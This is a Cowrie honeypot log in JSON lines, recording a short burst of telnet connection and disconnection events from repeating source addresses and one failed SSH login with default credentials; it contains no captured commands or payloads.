{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":55066,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b1f9bf15382","protocol":"telnet","message":"New connection: 162.241.40.195:55066 (10.17.0.5:23) [session: 1b1f9bf15382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:02.726048Z"}
{"eventid":"cowrie.session.closed","duration":31.956343412399292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:02.755147Z","src_ip":"162.241.40.195","session":"f3cb3cdea729","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.385971546173096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:02.908417Z","src_ip":"162.241.40.195","session":"634fcb38f386","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.546704292297363,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:03.064750Z","src_ip":"99.198.111.122","session":"77459e25c6e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.949026107788086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:03.082661Z","src_ip":"162.241.40.195","session":"f9a11eeea2dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":53910,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2a70f3b08be","protocol":"telnet","message":"New connection: 99.198.111.122:53910 (10.17.0.5:23) [session: c2a70f3b08be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:03.325007Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":53938,"dst_ip":"10.17.0.5","dst_port":23,"session":"22a69a03147d","protocol":"telnet","message":"New connection: 99.198.111.122:53938 (10.17.0.5:23) [session: 22a69a03147d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:03.332220Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":39016,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ab5d76abde1","protocol":"telnet","message":"New connection: 135.148.33.217:39016 (10.17.0.5:23) [session: 6ab5d76abde1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:03.518979Z"}
{"eventid":"cowrie.session.closed","duration":31.44012761116028,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:03.663923Z","src_ip":"99.198.111.122","session":"f517b717510f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.917672634124756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:03.740917Z","src_ip":"108.179.218.230","session":"a3579b0655a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":56256,"dst_ip":"10.17.0.5","dst_port":23,"session":"f603ca16eca5","protocol":"telnet","message":"New connection: 162.241.40.195:56256 (10.17.0.5:23) [session: f603ca16eca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:04.006292Z"}
{"eventid":"cowrie.session.closed","duration":30.970910787582397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:04.014297Z","src_ip":"135.148.33.217","session":"21c692ca6cd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.840172290802002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:04.033624Z","src_ip":"216.22.21.200","session":"07d5b472568b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80368399620056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:04.063115Z","src_ip":"99.198.111.122","session":"1b39acf228d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72909379005432,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:04.130036Z","src_ip":"160.250.4.73","session":"dc73fef17bec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.928562879562378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:04.151506Z","src_ip":"160.250.4.73","session":"21f38b618a12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.062793493270874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:04.259423Z","src_ip":"99.198.111.122","session":"bc0d0057bef3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.893638134002686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:04.459604Z","src_ip":"99.198.111.122","session":"89f10532cd43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":56630,"dst_ip":"10.17.0.5","dst_port":23,"session":"04fa2acde5aa","protocol":"telnet","message":"New connection: 162.241.40.195:56630 (10.17.0.5:23) [session: 04fa2acde5aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:04.710109Z"}
{"eventid":"cowrie.session.closed","duration":31.068658113479614,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:05.071668Z","src_ip":"135.148.33.217","session":"e8efedb82d0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":56836,"dst_ip":"10.17.0.5","dst_port":23,"session":"555fb102cb57","protocol":"telnet","message":"New connection: 162.241.40.195:56836 (10.17.0.5:23) [session: 555fb102cb57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:05.103032Z"}
{"eventid":"cowrie.session.closed","duration":36.87689232826233,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:05.185946Z","src_ip":"162.241.40.195","session":"f7ce0db9a115","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.897968769073486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:05.227242Z","src_ip":"160.250.4.73","session":"652e25924aec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57406,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6278606091f","protocol":"telnet","message":"New connection: 64.235.40.29:57406 (10.17.0.5:23) [session: f6278606091f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:05.357321Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":57110,"dst_ip":"10.17.0.5","dst_port":23,"session":"b006f6c17ce2","protocol":"telnet","message":"New connection: 162.241.40.195:57110 (10.17.0.5:23) [session: b006f6c17ce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:05.665271Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.7.102","src_port":43092,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d89ddffcfd0","protocol":"telnet","message":"New connection: 50.6.7.102:43092 (10.17.0.5:23) [session: 3d89ddffcfd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:05.965724Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":54350,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d355faf8da6","protocol":"telnet","message":"New connection: 192.161.62.114:54350 (10.17.0.5:23) [session: 6d355faf8da6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:06.076352Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":43176,"dst_ip":"10.17.0.5","dst_port":23,"session":"70c9620ecdd0","protocol":"telnet","message":"New connection: 64.235.40.29:43176 (10.17.0.5:23) [session: 70c9620ecdd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:06.564376Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":39234,"dst_ip":"10.17.0.5","dst_port":23,"session":"4da45a1f307e","protocol":"telnet","message":"New connection: 162.214.112.92:39234 (10.17.0.5:23) [session: 4da45a1f307e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:06.775530Z"}
{"eventid":"cowrie.session.closed","duration":30.56231117248535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:07.017938Z","src_ip":"99.198.111.122","session":"5a1f1946e40f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.314435243606567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:07.126923Z","src_ip":"99.198.111.122","session":"cf2583ce258f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.266897678375244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:07.141411Z","src_ip":"160.250.4.73","session":"84423f7ae27a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":33566,"dst_ip":"10.17.0.5","dst_port":23,"session":"79860f8279ef","protocol":"telnet","message":"New connection: 99.198.111.122:33566 (10.17.0.5:23) [session: 79860f8279ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:07.259261Z"}
{"eventid":"cowrie.session.closed","duration":31.550240516662598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:07.336235Z","src_ip":"162.241.40.195","session":"a4bc008868bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":56458,"dst_ip":"10.17.0.5","dst_port":23,"session":"32de6c0dc37d","protocol":"telnet","message":"New connection: 162.241.40.195:56458 (10.17.0.5:23) [session: 32de6c0dc37d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:07.418458Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":39752,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcee0a876ec1","protocol":"telnet","message":"New connection: 162.214.112.92:39752 (10.17.0.5:23) [session: bcee0a876ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:07.710817Z"}
{"eventid":"cowrie.session.closed","duration":30.907429695129395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:08.018082Z","src_ip":"99.198.111.122","session":"0d0fa45595a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65186595916748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:08.065506Z","src_ip":"162.241.40.195","session":"8c1f183e316e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.035958290100098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:08.761345Z","src_ip":"160.250.4.73","session":"e8ca2d06b5f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.599586486816406,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:08.807509Z","src_ip":"160.250.4.73","session":"67789323af8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.7.102","src_port":43108,"dst_ip":"10.17.0.5","dst_port":23,"session":"0413d1dd1397","protocol":"telnet","message":"New connection: 50.6.7.102:43108 (10.17.0.5:23) [session: 0413d1dd1397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:09.381409Z"}
{"eventid":"cowrie.session.closed","duration":31.418976306915283,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:09.468720Z","src_ip":"162.241.40.195","session":"e5d7d669fb62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":59124,"dst_ip":"10.17.0.5","dst_port":23,"session":"82a540125195","protocol":"telnet","message":"New connection: 162.241.40.195:59124 (10.17.0.5:23) [session: 82a540125195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:09.540758Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":40174,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fcd6c80a253","protocol":"telnet","message":"New connection: 162.214.112.92:40174 (10.17.0.5:23) [session: 0fcd6c80a253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:09.879189Z"}
{"eventid":"cowrie.session.closed","duration":31.60674738883972,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:10.008227Z","src_ip":"99.198.111.122","session":"9d62217884e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.919949054718018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:10.029615Z","src_ip":"99.198.111.122","session":"3174f35ec93b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":40100,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3e3535334b9","protocol":"telnet","message":"New connection: 162.214.112.92:40100 (10.17.0.5:23) [session: b3e3535334b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:10.484910Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.7.102","src_port":51424,"dst_ip":"10.17.0.5","dst_port":23,"session":"326cc9402557","protocol":"telnet","message":"New connection: 50.6.7.102:51424 (10.17.0.5:23) [session: 326cc9402557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:10.648065Z"}
{"eventid":"cowrie.session.closed","duration":31.59514570236206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:10.727670Z","src_ip":"99.198.111.122","session":"57a16ec5da5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":44186,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c020a441053","protocol":"telnet","message":"New connection: 133.130.75.21:44186 (10.17.0.5:23) [session: 4c020a441053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:10.741380Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":52978,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7dbfb073f1a","protocol":"telnet","message":"New connection: 160.250.4.73:52978 (10.17.0.5:23) [session: d7dbfb073f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:11.085384Z"}
{"eventid":"cowrie.session.closed","duration":30.55962872505188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:11.131790Z","src_ip":"160.250.4.73","session":"cd58bc9c6542","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":38966,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d231b69e853","protocol":"telnet","message":"New connection: 162.214.112.92:38966 (10.17.0.5:23) [session: 7d231b69e853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:11.953866Z"}
{"eventid":"cowrie.session.closed","duration":30.98933506011963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:12.193579Z","src_ip":"99.198.111.122","session":"1643b0573123","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.418169021606445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:12.248312Z","src_ip":"50.6.7.102","session":"27cce9a82f1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.7.102","src_port":51438,"dst_ip":"10.17.0.5","dst_port":23,"session":"5001783467d0","protocol":"telnet","message":"New connection: 50.6.7.102:51438 (10.17.0.5:23) [session: 5001783467d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:12.843320Z"}
{"eventid":"cowrie.session.closed","duration":30.611262321472168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:12.887217Z","src_ip":"162.241.40.195","session":"64c3b0e0de80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.697067260742188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:12.908461Z","src_ip":"160.250.4.73","session":"f21a9e0a97d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.867944717407227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:13.008307Z","src_ip":"135.148.33.217","session":"132a53c99914","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":41000,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bc2395400b6","protocol":"telnet","message":"New connection: 162.214.112.92:41000 (10.17.0.5:23) [session: 7bc2395400b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:13.097428Z"}
{"eventid":"cowrie.session.closed","duration":30.603521585464478,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:13.124448Z","src_ip":"160.250.4.73","session":"05d45337df83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.7.102","src_port":51448,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0b0ccec28cd","protocol":"telnet","message":"New connection: 50.6.7.102:51448 (10.17.0.5:23) [session: b0b0ccec28cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:13.201427Z"}
{"eventid":"cowrie.session.closed","duration":31.18325662612915,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:13.244510Z","src_ip":"162.214.112.92","session":"de0c7f3dcca0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.149576663970947,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:13.347945Z","src_ip":"50.6.7.102","session":"96d0825709d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.11635994911194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:14.042326Z","src_ip":"216.22.21.200","session":"d272705412e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0693142414093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:14.070023Z","src_ip":"135.148.33.217","session":"e85aa78732c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":47430,"dst_ip":"10.17.0.5","dst_port":23,"session":"49d065702440","protocol":"telnet","message":"New connection: 99.198.111.122:47430 (10.17.0.5:23) [session: 49d065702440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:14.663325Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.7.102","src_port":51462,"dst_ip":"10.17.0.5","dst_port":23,"session":"76e63061365a","protocol":"telnet","message":"New connection: 50.6.7.102:51462 (10.17.0.5:23) [session: 76e63061365a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:14.964584Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":41254,"dst_ip":"10.17.0.5","dst_port":23,"session":"71e4536a4b5e","protocol":"telnet","message":"New connection: 162.214.112.92:41254 (10.17.0.5:23) [session: 71e4536a4b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:15.058648Z"}
{"eventid":"cowrie.session.closed","duration":31.20360779762268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:15.380246Z","src_ip":"162.241.40.195","session":"1e2e328953ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.326111316680908,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:15.612417Z","src_ip":"216.22.21.200","session":"7ae1c51b81cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":41466,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b7297718ac5","protocol":"telnet","message":"New connection: 162.214.112.92:41466 (10.17.0.5:23) [session: 9b7297718ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:15.920624Z"}
{"eventid":"cowrie.session.closed","duration":31.021878480911255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:16.117399Z","src_ip":"99.198.111.122","session":"fa8f747d9f72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":41742,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d7da85953ba","protocol":"telnet","message":"New connection: 162.214.112.92:41742 (10.17.0.5:23) [session: 2d7da85953ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:16.134313Z"}
{"eventid":"cowrie.session.closed","duration":30.300889492034912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:16.264579Z","src_ip":"99.198.111.122","session":"8e94516bcf6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":60190,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7353019e04e","protocol":"telnet","message":"New connection: 192.161.62.114:60190 (10.17.0.5:23) [session: c7353019e04e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:16.432833Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":33440,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a578b119ade","protocol":"telnet","message":"New connection: 176.74.31.147:33440 (159.203.135.109:23) [session: 4a578b119ade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:16.438015Z"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:16.514987Z","src_ip":"122.168.114.167","session":"9c6507b456f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":41930,"dst_ip":"10.17.0.5","dst_port":23,"session":"69714ea0abe9","protocol":"telnet","message":"New connection: 162.214.112.92:41930 (10.17.0.5:23) [session: 69714ea0abe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:16.728330Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":52984,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfd1b1279410","protocol":"telnet","message":"New connection: 160.250.4.73:52984 (10.17.0.5:23) [session: bfd1b1279410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:16.828990Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":60474,"dst_ip":"10.17.0.5","dst_port":23,"session":"f59f335c081f","protocol":"telnet","message":"New connection: 192.161.62.114:60474 (10.17.0.5:23) [session: f59f335c081f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:16.847213Z"}
{"eventid":"cowrie.session.closed","duration":31.004408836364746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:17.024786Z","src_ip":"135.148.33.217","session":"45f122d17032","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19456911087036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:17.285916Z","src_ip":"162.214.112.92","session":"d05a340c5de8","protocol":"telnet"}
